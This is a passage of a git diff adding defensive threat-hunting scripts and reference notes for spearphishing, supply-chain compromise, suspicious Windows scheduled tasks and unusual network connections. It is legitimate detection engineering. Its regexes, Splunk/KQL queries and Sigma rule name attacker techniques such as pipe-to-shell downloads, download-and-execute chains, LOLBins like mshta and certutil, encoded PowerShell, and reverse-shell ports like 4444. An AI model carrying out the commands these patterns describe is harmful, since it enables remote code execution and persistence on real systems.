"AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-for-spearphishing-indicators/references/api-reference.md b/skills/hunting-for-spearphishing-indicators/references/api-reference.md new file mode 100644 index 00000000..3a211885 --- /dev/null +++ b/skills/hunting-for-spearphishing-indicators/references/api-reference.md @@ -0,0 +1,65 @@ +# API Reference: Hunting for Spearphishing Indicators + +## Email Header Analysis + +```python +import email +from email import policy + +msg = email.message_from_file(open("suspect.eml"), policy=policy.default) +print(msg["From"], msg["Return-Path"], msg["Received"]) +print(msg["Authentication-Results"]) # SPF/DKIM/DMARC +``` + +## Suspicious Attachment Types + +| Extension | Risk | Technique | +|-----------|------|-----------| +| `.exe`, `.scr`, `.dll` | CRITICAL | T1566.001 | +| `.xlsm`, `.docm` | HIGH | T1566.001 (macros) | +| `.iso`, `.img`, `.lnk` | HIGH | T1566.001 (MOTW bypass) | +| `.html`, `.htm` | HIGH | HTML Smuggling | +| `.zip`, `.rar` | MEDIUM | Archive with payload | + +## Splunk SPL - Phishing Detection + +```spl +index=email sourcetype=exchange +| where match(attachment_name, "(?i)\.(exe|scr|iso|lnk|docm|xlsm|hta)$") +| stats count by sender, recipient, attachment_name, subject +| where count > 3 +``` + +## KQL - Microsoft Defender for Office 365 + +```kql +EmailAttachmentInfo +| where FileType in ("exe", "scr", "iso", "lnk", "docm", "xlsm") +| join kind=inner EmailEvents on NetworkMessageId +| project Timestamp, SenderFromAddress, RecipientEmailAddress, Subject, FileName +``` + +## Phishing URL Patterns + +```python +patterns = [ + r"https?://bit\.ly/", # URL shorteners + r"https?://\d+\.\d+\.\d+\.\d+", # IP-based URLs + r"https?://[^/]*login[^/]*\.", # Credential harvesting + r"https?://[^/]*\.(top|xyz)/", # Suspicious TLDs +] +``` + +## SPF/DKIM/DMARC Validation + +```python +import spf +result, _, _ = spf.check2(ip="1.2.3.4", sender="user@example.com", helo="mail.example.com") +# result: 'pass', 'fail', 'softfail', 'neutral', 'none' +``` + +### References + +- MITRE T1566: https://attack.mitre.org/techniques/T1566/ +- pyspf: https://pypi.org/project/pyspf/ +- python email: https://docs.python.org/3/library/email.html diff --git a/skills/hunting-for-spearphishing-indicators/scripts/agent.py b/skills/hunting-for-spearphishing-indicators/scripts/agent.py new file mode 100644 index 00000000..69ee0522 --- /dev/null +++ b/skills/hunting-for-spearphishing-indicators/scripts/agent.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python3 +"""Agent for hunting spearphishing indicators across email and endpoint logs.""" + +import json +import argparse +import re +from datetime import datetime +from pathlib import Path + + +SUSPICIOUS_EXTENSIONS = [ + ".exe", ".scr", ".bat", ".cmd", ".ps1", ".vbs", ".js", ".hta", + ".iso", ".img", ".lnk", ".dll", ".msi", ".wsf", +] + +MACRO_EXTENSIONS = [".xlsm", ".docm", ".pptm", ".xlsb"] + +PHISHING_URL_PATTERNS = [ + r"https?://bit\.ly/", r"https?://tinyurl\.com/", + r"https?://[^/]*login[^/]*\.", r"https?://[^/]*signin[^/]*\.", + r"https?://[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}", + r"https?://[^/]*\.top/", r"https?://[^/]*\.xyz/", +] + +URGENCY_KEYWORDS = [ + "urgent", "immediate action", "account suspended", "verify your", + "password expired", "click here immediately", "security alert", + "unauthorized access", "confirm your identity", +] + + +def load_email_logs(log_path): + """Load email logs from JSON lines file.""" + entries = [] + with open(log_path) as f: + for line in f: + try: + entries.append(json.loads(line)) + except json.JSONDecodeError: + continue + return entries + + +def check_attachment_risk(filename): + """Assess risk of email attachment by extension.""" + lower = filename.lower() + if any(lower.endswith(ext) for ext in SUSPICIOUS_EXTENSIONS): + return "CRITICAL" + if any(lower.endswith(ext) for ext in MACRO_EXTENSIONS): + return "HIGH" + if lower.endswith(".html") or lower.endswith(".htm"): + return "HIGH" + if lower.endswith(".zip") or lower.endswith(".rar") or lower.endswith(".7z"): + return "MEDIUM" + return "LOW" + + +def detect_suspicious_attachments(emails): + """Find emails with dangerous attachment types.""" + findings = [] + for email in emails: + attachments = email.get("attachments", []) + for att in attachments: + name = att if isinstance(att, str) else att.get("filename", "") + risk = check_attachment_risk(name) + if risk in ("CRITICAL", "HIGH"): + findings.append({ + "subject": email.get("subject", ""), + "sender": email.get("from", email.get("sender", "")), + "recipient": email.get("to", email.get("recipient", "")), + "timestamp": email.get("timestamp", email.get("date", "")), + "attachment": name, + "risk": risk, + "category": "suspicious_attachment", + }) + return findings + + +def detect_phishing_urls(emails): + """Detect phishing URLs in email body or links.""" + findings = [] + for email in emails: + body = email.get("body", email.get("content", "")) + urls = email.get("urls", []) + text = body + " " + " ".join(urls) if urls else body + for pattern in PHISHING_URL_PATTERNS: + matches = re.findall(pattern, text, re.IGNORECASE) + for url in matches: + findings.append({ + "subject": email.get("subject", ""), + "sender": email.get("from", email.get("sender", "")), + "recipient": email.get("to", email.get("recipient", "")), + "url": url[:200], + "pattern": pattern, + "severity": "HIGH", + "category": "phishing_url", + }) + return findings + + +def detect_urgency_lures(emails): + """Detect social engineering urgency keywords.""" + findings = [] + for email in emails: + subject = email.get("subject", "") + body = email.get("body", email.get("content", "")) + text = (subject + " " + body).lower() + matched = [kw for kw in URGENCY_KEYWORDS if kw in text] + if len(matched) >= 2: + findings.append({ + "subject": email.get("subject", ""), + "sender": email.get("from", email.get("sender", "")), + "recipient": email.get("to", email.get("recipient", "")), + "keywords_matched": matched, + "severity": "MEDIUM", + "category": "urgency_lure", + }) + return findings + + +def detect_sender_spoofing(emails): + """Detect display name vs envelope sender mismatches.""" + findings = [] + for email in emails: + display_from = email.get("from", email.get("sender", "")) + envelope = email.get("envelope_from", email.get("return_path", "")) + if display_from and envelope: + display_domain = re.search(r"@([\w.-]+)", display_from) + envelope_domain = re.search(r"@([\w.-]+)", envelope) + if display_domain and envelope_domain: + if display_domain.group(1).lower() != envelope_domain.group(1).lower(): + findings.append({ + "display_from": display_from, + "envelope_from": envelope, + "recipient": email.get("to", email.get("recipient", "")), + "subject": email.get("subject", ""), + "severity": "HIGH", + "category": "sender_spoofing", + }) + return findings + + +def main(): + parser = argparse.ArgumentParser(description="Spearphishing Indicator Hunter") + parser.add_argument("--email-log", required=True, help="JSON lines email log") + parser.add_argument("--output", default="spearphishing_hunt_report.json") + parser.add_argument("--action", choices=[ + "attachments", "urls", "urgency", "spoofing", "full_analysis" + ], default="full_analysis") + args = parser.parse_args() + + emails = load_email_logs(args.email_log) + report = {"generated_at": datetime.utcnow().isoformat(), "total_emails": len(emails), + "findings": {}} + print(f"[+] Loaded {len(emails)} email entries") + + if args.action in ("attachments", "full_analysis"): + f = detect_suspicious_attachments(emails) + report["findings"]["suspicious_attachments"] = f + print(f"[+] Suspicious attachments: {len(f)}") + + if args.action in ("urls", "full_analysis"): + f = detect_phishing_urls(emails) + report["findings"]["phishing_urls"] = f + print(f"[+] Phishing URLs: {len(f)}") + + if args.action in ("urgency", "full_analysis"): + f = detect_urgency_lures(emails) + report["findings"]["urgency_lures"] = f + print(f"[+] Urgency lure emails: {len(f)}") + + if args.action in ("spoofing", "full_analysis"): + f = detect_sender_spoofing(emails) + report["findings"]["sender_spoofing"] = f + print(f"[+] Sender spoofing detected: {len(f)}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-for-supply-chain-compromise/LICENSE b/skills/hunting-for-supply-chain-compromise/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-for-supply-chain-compromise/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-for-supply-chain-compromise/references/api-reference.md b/skills/hunting-for-supply-chain-compromise/references/api-reference.md new file mode 100644 index 00000000..82107c23 --- /dev/null +++ b/skills/hunting-for-supply-chain-compromise/references/api-reference.md @@ -0,0 +1,71 @@ +# API Reference: Hunting for Supply Chain Compromise + +## NPM Lock File Analysis + +```python +import json +data = json.load(open("package-lock.json")) +packages = data.get("packages", {}) +for name, info in packages.items(): + resolved = info.get("resolved", "") + has_script = info.get("hasInstallScript", False) +``` + +## pip-audit + +```bash +pip-audit --format=json --output=audit.json +pip-audit --require=requirements.txt --desc +``` + +```python +# Programmatic usage +from pip_audit._cli import audit +# Or parse JSON output +import subprocess, json +result = subprocess.run(["pip-audit", "--format=json"], capture_output=True, text=True) +vulns = json.loads(result.stdout) +``` + +## Hash Verification + +```python +import hashlib +sha = hashlib.sha256() +with open("binary.exe", "rb") as f: + for chunk in iter(lambda: f.read(8192), b""): + sha.update(chunk) +print(sha.hexdigest()) +``` + +## Dependency Confusion Checks + +| Registry | Check Command | Risk | +|----------|---------------|------| +| npm | `npm view name` | Package exists publicly | +| PyPI | `pip index versions ` | Package exists publicly | +| Maven | `mvn dependency:resolve` | Artifact on Maven Central | + +## Splunk SPL - Build Anomaly Detection + +```spl +index=cicd sourcetype=build_logs +| where match(_raw, "(?i)(curl.*\|.*sh|wget.*chmod|--registry\s+http)") +| table _time build_id job_name _raw +``` + +## Supply Chain Indicators + +| Indicator | Severity | Category | +|-----------|----------|----------| +| Known compromised package | CRITICAL | Package takeover | +| Non-standard registry URL | HIGH | Dependency confusion | +| Install scripts in deps | MEDIUM | Post-install hooks | +| Git URL dependencies | MEDIUM | Unpinned source | +| Pipe to shell in CI | CRITICAL | Remote code execution | + +### References + +- MITRE T1195: https://attack.mitre.org/techniques/T1195/ +- pip-audit: https://github.com/pypa/pip-audit +- npm audit: https://docs.npmjs.com/cli/v9/commands/npm-audit diff --git a/skills/hunting-for-supply-chain-compromise/scripts/agent.py b/skills/hunting-for-supply-chain-compromise/scripts/agent.py new file mode 100644 index 00000000..8ee63c70 --- /dev/null +++ b/skills/hunting-for-supply-chain-compromise/scripts/agent.py @@ -0,0 +1,182 @@ +#!/usr/bin/env python3 +"""Agent for hunting supply chain compromise indicators in software dependencies and builds.""" + +import json +import argparse +import hashlib +import re +import subprocess +from datetime import datetime +from pathlib import Path + + +KNOWN_COMPROMISED_PACKAGES = { + "event-stream": "npm", "ua-parser-js": "npm", "coa": "npm", + "colors": "npm", "faker": "npm", "node-ipc": "npm", + "ctx": "pypi", "phpass": "pypi", +} + + +def scan_npm_lockfile(lockfile_path): + """Scan package-lock.json for suspicious dependencies.""" + with open(lockfile_path) as f: + data = json.load(f) + findings = [] + packages = data.get("packages", data.get("dependencies", {})) + for name, info in packages.items(): + pkg_name = name.split("node_modules/")[-1] if "node_modules/" in name else name + if not pkg_name: + continue + if pkg_name in KNOWN_COMPROMISED_PACKAGES: + findings.append({ + "package": pkg_name, "version": info.get("version", ""), + "severity": "CRITICAL", "reason": "known_compromised", + }) + resolved = info.get("resolved", "") + if resolved and not resolved.startswith("https://registry.npmjs.org/"): + findings.append({ + "package": pkg_name, "resolved": resolved, + "severity": "HIGH", "reason": "non_standard_registry", + }) + if info.get("hasInstallScript", False): + findings.append({ + "package": pkg_name, "version": info.get("version", ""), + "severity": "MEDIUM", "reason": "install_script", + }) + return findings + + +def scan_pip_requirements(req_path): + """Scan pip requirements.txt for suspicious packages.""" + findings = [] + with open(req_path) as f: + for line in f: + line = line.strip() + if not line or line.startswith("#"): + continue + match = re.match(r"^([a-zA-Z0-9_.-]+)", line) + if not match: + continue + pkg = match.group(1) + if pkg.lower() in KNOWN_COMPROMISED_PACKAGES: + findings.append({ + "package": pkg, "line": line, + "severity": "CRITICAL", "reason": "known_compromised", + }) + if "--index-url" in line or "--extra-index-url" in line: + findings.append({ + "package": pkg, "line": line, + "severity": "HIGH", "reason": "custom_index", + }) + if re.search(r"git\+https?://", line): + findings.append({ + "package": pkg, "line": line, + "severity": "MEDIUM", "reason": "git_dependency", + }) + return findings + + +def verify_binary_hashes(manifest_path): + """Verify binary hashes against a known-good manifest.""" + with open(manifest_path) as f: + manifest = json.load(f) + results = [] + for entry in manifest: + filepath = entry.get("path", "") + expected_hash = entry.get("sha256", "") + if not Path(filepath).exists(): + results.append({"path": filepath, "status": "MISSING", "severity": "HIGH"}) + continue + sha = hashlib.sha256() + with open(filepath, "rb") as bf: + for chunk in iter(lambda: bf.read(8192), b""): + sha.update(chunk) + actual = sha.hexdigest() + if actual != expected_hash: + results.append({ + "path": filepath, "expected": expected_hash, "actual": actual, + "status": "MISMATCH", "severity": "CRITICAL", + }) + return results + + +def scan_build_logs(log_path): + """Scan CI/CD build logs for supply chain indicators.""" + suspicious_patterns = [ + (r"curl\s+.*\|\s*(sh|bash)", "CRITICAL", "pipe_to_shell"), + (r"wget\s+.*&&\s*chmod\s+\+x", "HIGH", "download_and_execute"), + (r"npm\s+install\s+--registry\s+(?!https://registry\.npmjs\.org)", "HIGH", "custom_registry"), + (r"pip\s+install\s+--index-url\s+(?!https://pypi\.org)", "HIGH", "custom_pypi"), + (r"docker\s+pull\s+(?!docker\.io/|gcr\.io/|ghcr\.io/)", "MEDIUM", "untrusted_registry"), + ] + findings = [] + with open(log_path) as f: + for i, line in enumerate(f, 1): + for pattern, severity, category in suspicious_patterns: + if re.search(pattern, line, re.IGNORECASE): + findings.append({ + "line_number": i, "content": line.strip()[:300], + "pattern": category, "severity": severity, + }) + return findings + + +def check_dependency_confusion(internal_packages, public_registry="npm"): + """Check if internal package names exist on public registries.""" + findings = [] + for pkg in internal_packages: + try: + if public_registry == "npm": + result = subprocess.run( + ["npm", "view", pkg, "name"], capture_output=True, text=True, timeout=10) + else: + result = subprocess.run( + ["pip", "index", "versions", pkg], capture_output=True, text=True, timeout=10) + if result.returncode == 0: + findings.append({ + "package": pkg, "registry": public_registry, + "severity": "CRITICAL", "reason": "dependency_confusion_risk", + }) + except (subprocess.TimeoutExpired, FileNotFoundError): + continue + return findings + + +def main(): + parser = argparse.ArgumentParser(description="Supply Chain Compromise Hunter") + parser.add_argument("--npm-lock", help="Path to package-lock.json") + parser.add_argument("--pip-req", help="Path to requirements.txt") + parser.add_argument("--manifest", help="Path to hash manifest JSON") + parser.add_argument("--build-log", help="Path to CI/CD build log") + parser.add_argument("--output", default="supply_chain_hunt_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.npm_lock: + f = scan_npm_lockfile(args.npm_lock) + report["findings"]["npm_scan"] = f + print(f"[+] NPM lock findings: {len(f)}") + + if args.pip_req: + f = scan_pip_requirements(args.pip_req) + report["findings"]["pip_scan"] = f + print(f"[+] Pip requirements findings: {len(f)}") + + if args.manifest: + f = verify_binary_hashes(args.manifest) + report["findings"]["hash_verification"] = f + print(f"[+] Binary hash mismatches: {len([x for x in f if x.get('status') == 'MISMATCH'])}") + + if args.build_log: + f = scan_build_logs(args.build_log) + report["findings"]["build_log_scan"] = f + print(f"[+] Build log findings: {len(f)}") + + with open(args.output, "w") as fout: + json.dump(report, fout, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-for-suspicious-scheduled-tasks/LICENSE b/skills/hunting-for-suspicious-scheduled-tasks/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-for-suspicious-scheduled-tasks/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-for-suspicious-scheduled-tasks/references/api-reference.md b/skills/hunting-for-suspicious-scheduled-tasks/references/api-reference.md new file mode 100644 index 00000000..004ca7b1 --- /dev/null +++ b/skills/hunting-for-suspicious-scheduled-tasks/references/api-reference.md @@ -0,0 +1,63 @@ +# API Reference: Hunting for Suspicious Scheduled Tasks + +## Windows Event IDs + +| Event ID | Source | Description | +|----------|--------|-------------| +| 4698 | Security | Scheduled task created | +| 4699 | Security | Scheduled task deleted | +| 4702 | Security | Scheduled task updated | +| 106 | TaskScheduler | Task registered | +| 200/201 | TaskScheduler | Task executed / completed | + +## python-evtx + +```python +import Evtx.Evtx as evtx +import xml.etree.ElementTree as ET + +with evtx.Evtx("Security.evtx") as log: + for record in log.records(): + root = ET.fromstring(record.xml()) + ns = {"ns": "http://schemas.microsoft.com/win/2004/08/events/event"} + eid = root.find(".//ns:EventID", ns).text + if eid == "4698": + data = {d.get("Name"): d.text + for d in root.findall(".//ns:Data", ns)} +``` + +## Splunk SPL + +```spl +index=wineventlog EventCode=4698 +| spath output=TaskName path=EventData.TaskName +| spath output=TaskContent path=EventData.TaskContent +| where NOT match(TaskName, "\\\\Microsoft\\\\Windows\\\\") +| where match(TaskContent, "(?i)(powershell|cmd|wscript|http)") +| table _time Computer SubjectUserName TaskName TaskContent +``` + +## KQL (Microsoft Sentinel) + +```kql +SecurityEvent +| where EventID == 4698 +| extend TaskContent = tostring(EventData.TaskContent) +| where TaskContent has_any ("powershell", "cmd.exe", "Temp", "AppData") +| project TimeGenerated, Computer, Account, TaskContent +``` + +## PowerShell Enumeration + +```powershell +Get-ScheduledTask | Where-Object { + $_.Actions.Execute -match 'powershell|cmd|wscript' -or + $_.Actions.Execute -match '\\Temp\\|\\AppData\\' +} | Select-Object TaskName, TaskPath, @{N='Action';E={$_.Actions.Execute}} +``` + +### References + +- MITRE T1053.005: https://attack.mitre.org/techniques/T1053/005/ +- python-evtx: https://github.com/williballenthin/python-evtx +- Sigma rules for schtasks: https://github.com/SigmaHQ/sigma diff --git a/skills/hunting-for-suspicious-scheduled-tasks/scripts/agent.py b/skills/hunting-for-suspicious-scheduled-tasks/scripts/agent.py new file mode 100644 index 00000000..8a8aa011 --- /dev/null +++ b/skills/hunting-for-suspicious-scheduled-tasks/scripts/agent.py @@ -0,0 +1,185 @@ +#!/usr/bin/env python3 +"""Agent for hunting suspicious scheduled tasks on Windows endpoints.""" + +import json +import argparse +import re +import xml.etree.ElementTree as ET +from datetime import datetime +from pathlib import Path + +try: + import Evtx.Evtx as evtx +except ImportError: + evtx = None + + +SUSPICIOUS_ACTIONS = [ + r"powershell", r"pwsh", r"cmd\.exe.*/c", r"wscript", r"cscript", + r"mshta", r"rundll32", r"regsvr32", r"certutil", + r"bitsadmin", r"msiexec.*http", +] + +SUSPICIOUS_PATHS = [ + r"\\temp\\", r"\\tmp\\", r"\\appdata\\", r"\\downloads\\", + r"\\public\\", r"\\programdata\\", r"\\users\\.*\\desktop\\", + r"c:\\windows\\temp", +] + +LEGITIMATE_TASK_PREFIXES = [ + "\\Microsoft\\Windows\\", "\\Microsoft\\Office\\", + "\\Microsoft\\EdgeUpdate\\", +] + + +def parse_schtasks_csv(csv_path): + """Parse output of schtasks /query /fo CSV /v.""" + import csv + tasks = [] + with open(csv_path, newline="", encoding="utf-8-sig") as f: + reader = csv.DictReader(f) + for row in reader: + tasks.append({ + "hostname": row.get("HostName", ""), + "task_name": row.get("TaskName", ""), + "status": row.get("Status", ""), + "task_to_run": row.get("Task To Run", ""), + "run_as_user": row.get("Run As User", ""), + "schedule_type": row.get("Schedule Type", ""), + "author": row.get("Author", ""), + }) + return tasks + + +def analyze_tasks(tasks): + """Analyze scheduled tasks for suspicious properties.""" + findings = [] + for task in tasks: + name = task.get("task_name", "") + action = task.get("task_to_run", "") + run_as = task.get("run_as_user", "") + is_legit_prefix = any(name.startswith(p) for p in LEGITIMATE_TASK_PREFIXES) + risk_score = 0 + reasons = [] + for pattern in SUSPICIOUS_ACTIONS: + if re.search(pattern, action, re.IGNORECASE): + risk_score += 30 + reasons.append(f"suspicious_action:{pattern}") + for pattern in SUSPICIOUS_PATHS: + if re.search(pattern, action, re.IGNORECASE): + risk_score += 25 + reasons.append(f"suspicious_path:{pattern}") + if run_as and "SYSTEM" in run_as.upper(): + risk_score += 15 + reasons.append("runs_as_system") + if not is_legit_prefix and name.count("\\") <= 1: + risk_score += 10 + reasons.append("non_standard_location") + if re.search(r"(http|https|ftp)://", action, re.IGNORECASE): + risk_score += 40 + reasons.append("network_url_in_action") + if re.search(r"-enc\s|encodedcommand", action, re.IGNORECASE): + risk_score += 35 + reasons.append("encoded_command") + if risk_score > 0: + severity = "CRITICAL" if risk_score >= 60 else "HIGH" if risk_score >= 30 else "MEDIUM" + findings.append({ + "task_name": name, + "action": action[:500], + "run_as_user": run_as, + "risk_score": risk_score, + "severity": severity, + "reasons": reasons, + "hostname": task.get("hostname", ""), + }) + return sorted(findings, key=lambda x: x["risk_score"], reverse=True) + + +def hunt_evtx_4698(evtx_path): + """Hunt Event ID 4698 (scheduled task creation) in EVTX.""" + if evtx is None: + return [] + findings = [] + with evtx.Evtx(evtx_path) as log: + for record in log.records(): + xml_str = record.xml() + try: + root = ET.fromstring(xml_str) + ns = {"ns": "http://schemas.microsoft.com/win/2004/08/events/event"} + eid_el = root.find(".//ns:EventID", ns) + if eid_el is None or eid_el.text != "4698": + continue + data = {} + for d in root.findall(".//ns:Data", ns): + data[d.get("Name", "")] = d.text or "" + task_name = data.get("TaskName", "") + task_content = data.get("TaskContent", "") + is_suspicious = any( + re.search(p, task_content, re.IGNORECASE) for p in SUSPICIOUS_ACTIONS) + if is_suspicious: + findings.append({ + "timestamp": record.timestamp().isoformat(), + "task_name": task_name, + "user": data.get("SubjectUserName", ""), + "task_content_preview": task_content[:500], + "severity": "HIGH", + }) + except ET.ParseError: + continue + return findings + + +def generate_sigma_rule(): + """Generate Sigma rule for suspicious scheduled task creation.""" + return { + "title": "Suspicious Scheduled Task Created", + "id": "e4db2c6a-3f1b-4c8d-9e2a-7b5c4d6e8f0a", + "status": "production", + "level": "high", + "logsource": {"product": "windows", "service": "security"}, + "detection": { + "selection": {"EventID": 4698}, + "filter_legit": {"TaskName|startswith": ["\\Microsoft\\Windows\\", "\\Microsoft\\Office\\"]}, + "suspicious_content": { + "TaskContent|contains": ["powershell", "cmd /c", "wscript", "mshta", + "\\Temp\\", "\\AppData\\", "http://", "https://"], + }, + "condition": "selection and not filter_legit and suspicious_content", + }, + "tags": ["attack.persistence", "attack.execution", "attack.t1053.005"], + } + + +def main(): + parser = argparse.ArgumentParser(description="Suspicious Scheduled Tasks Hunter") + parser.add_argument("--csv", help="schtasks CSV export") + parser.add_argument("--evtx", help="Security EVTX log file") + parser.add_argument("--output", default="schtask_hunt_report.json") + parser.add_argument("--action", choices=["analyze", "hunt_evtx", "sigma", "full"], + default="full") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.action in ("analyze", "full") and args.csv: + tasks = parse_schtasks_csv(args.csv) + findings = analyze_tasks(tasks) + report["findings"]["task_analysis"] = findings + print(f"[+] Suspicious tasks: {len(findings)} / {len(tasks)} total") + + if args.action in ("hunt_evtx", "full") and args.evtx: + findings = hunt_evtx_4698(args.evtx) + report["findings"]["evtx_4698"] = findings + print(f"[+] EVTX 4698 suspicious: {len(findings)}") + + if args.action in ("sigma", "full"): + report["findings"]["sigma_rule"] = generate_sigma_rule() + print("[+] Sigma rule generated") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-for-unusual-network-connections/LICENSE b/skills/hunting-for-unusual-network-connections/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-for-unusual-network-connections/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-for-unusual-network-connections/references/api-reference.md b/skills/hunting-for-unusual-network-connections/references/api-reference.md new file mode 100644 index 00000000..f278a464 --- /dev/null +++ b/skills/hunting-for-unusual-network-connections/references/api-reference.md @@ -0,0 +1,68 @@ +# API Reference: Hunting for Unusual Network Connections + +## Connection Analysis Indicators + +| Indicator | Threshold | Severity | +|-----------|-----------|----------| +| Known bad port (4444, 31337) | Any connection | CRITICAL | +| Non-standard port | Not in common set | MEDIUM | +| Rare destination (< 3 conns) | Unique in environment | HIGH | +| Long connection (> 1hr) | Duration > 3600s | HIGH | +| Periodic beaconing (CV < 0.3) | Low interval variance | CRITICAL | + +## Splunk SPL - Rare Destinations + +```spl +index=firewall action=allowed +| stats dc(src_ip) as src_count count by dest_ip dest_port +| where src_count == 1 AND count < 5 +| sort -count +| table dest_ip dest_port count src_count +``` + +## KQL - Non-Standard Ports + +```kql +DeviceNetworkEvents +| where RemotePort !in (80, 443, 53, 22, 25, 8080) +| summarize ConnectionCount=count(), dcount(DeviceId) by RemoteIP, RemotePort +| where ConnectionCount < 5 +| sort by ConnectionCount asc +``` + +## Zeek conn.log Analysis + +```python +from zat.log_to_dataframe import LogToDataFrame +df = LogToDataFrame().create_dataframe("conn.log") +# Filter rare external destinations +external = df[~df["id.resp_h"].str.startswith(("10.", "172.16.", "192.168."))] +rare = external.groupby("id.resp_h").size().reset_index(name="count") +rare = rare[rare["count"] < 3] +``` + +## Beaconing Detection + +```python +import numpy as np +intervals = np.diff(sorted_timestamps) +cv = np.std(intervals) / np.mean(intervals) +# CV < 0.3 = high periodicity (likely beacon) +``` + +## Sysmon Event ID 3 (Network Connection) + +```xml + + C:\Windows\System32\svchost.exe + 203.0.113.50 + 4444 + +``` + +### References + +- MITRE T1071: https://attack.mitre.org/techniques/T1071/ +- MITRE T1571: https://attack.mitre.org/techniques/T1571/ +- ZAT: https://github.com/SuperCowPowers/zat +- Sysmon: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon diff --git a/skills/hunting-for-unusual-network-connections/scripts/agent.py b/skills/hunting-for-unusual-network-connections/scripts/agent.py new file mode 100644 index 00000000..43b02288 --- /dev/null +++ b/skills/hunting-for-unusual-network-connections/scripts/agent.py @@ -0,0 +1,196 @@ +#!/usr/bin/env python3 +"""Agent for hunting unusual network connections from endpoint and firewall logs.""" + +import json +import argparse +import re +from datetime import datetime +from collections import defaultdict, Counter +from pathlib import Path + + +COMMON_PORTS = {80, 443, 53, 22, 25, 110, 143, 993, 995, 587, 8080, 8443, 3389} + +KNOWN_BAD_PORTS = {4444, 5555, 1234, 9999, 31337, 6666, 6667, 8888, 12345} + +PRIVATE_RANGES = [ + (0x0A000000, 0x0AFFFFFF), # 10.0.0.0/8 + (0xAC100000, 0xAC1FFFFF), # 172.16.0.0/12 + (0xC0A80000, 0xC0A8FFFF), # 192.168.0.0/16 +] + + +def ip_to_int(ip): + """Convert dotted IP to integer.""" + parts 